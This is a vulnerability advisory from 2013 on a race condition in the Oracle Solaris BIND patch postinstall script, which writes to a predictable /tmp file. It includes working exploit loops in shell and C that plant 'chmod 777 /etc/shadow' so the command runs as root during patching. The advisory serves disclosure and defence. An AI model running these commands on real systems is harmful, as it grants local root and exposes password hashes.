Advisory #: 41
Title: Oracle Solaris Bind/Postinstall script for Bind package local root
Author: Larry W. Cashdollar, @_larry0
Date: 2013-01-14
Download Site: www.oracle.com
Vendor: Oracle Systems
Vendor Notified: 2013-01-15
Vendor Contact: security@oracle.com
Description: Solaris Sparc patch cluster January 2013.
Vulnerability:
If the system administrator is updating the system using update manager or smpatch (multi user mode) a race condition exists with the postinstall script for SUNWbindr that may lead to arbitrary code execution as root if the race is won. vulnerable code in: ./patches/119784-22/SUNWbindr/install/pkg_postinstall: UPGRADE=${TMP}/BIND_UPGRADE ./patches/119784-22/SUNWbindr/install/postinstall: UPGRADE=${TMP}/BIND_UPGRADE vulnerable code: UPGRADE=${TMP}/BIND_UPGRADE rm -f $UPGRADE (If I create the file first between these two steps, I should have ownership before it is over written and inject malicious code to get root.) cat >> $UPGRADE <<-\UPDATESTART_METHOD oset=$@ # Remember current options if any. svc="svc:network/dns/server" if [ -z "$TMP" ]; then TMP="/tmp" fi
CVEID: 2013-0415
OSVDB:89243
Exploit Code:
  1. If the following is run:
  2.  
  3. while (true) ; do touch /tmp/BIND_UPGRADE ;echo "chmod 777 /etc/shadow" > /tmp/BIND_UPGRADE; done
  4.  
  5. during patch installation you can get /etc/shadow world writeable.
  6.  
  7. Vladz suggested:
  8.  
  9. Another approach to exploit this is to place your evil command in a file called /tmp/BIND_UPGRADE.new, and loop the move command.
  10.  
  11. $ while ! mv /tmp/BIND_UPGRADE.new /tmp/BIND_UPGRADE 2>/dev/null; do continue; done
  12.  
  13. or in C:
  14.  
  15. while (rename("/tmp/BIND_UPGRADE.new", "/tmp/BIND_UPGRADE") != 0) continue;
  16.  
  17. I am telling this because I think that moving a file takes less syscalls (one at least) than a "echo string >> file" that open(), write() and close() the file.
Screen Shots:
Advisory: http://www.vapid.dhs.org/advisories/solaris_patch_cluster_race.html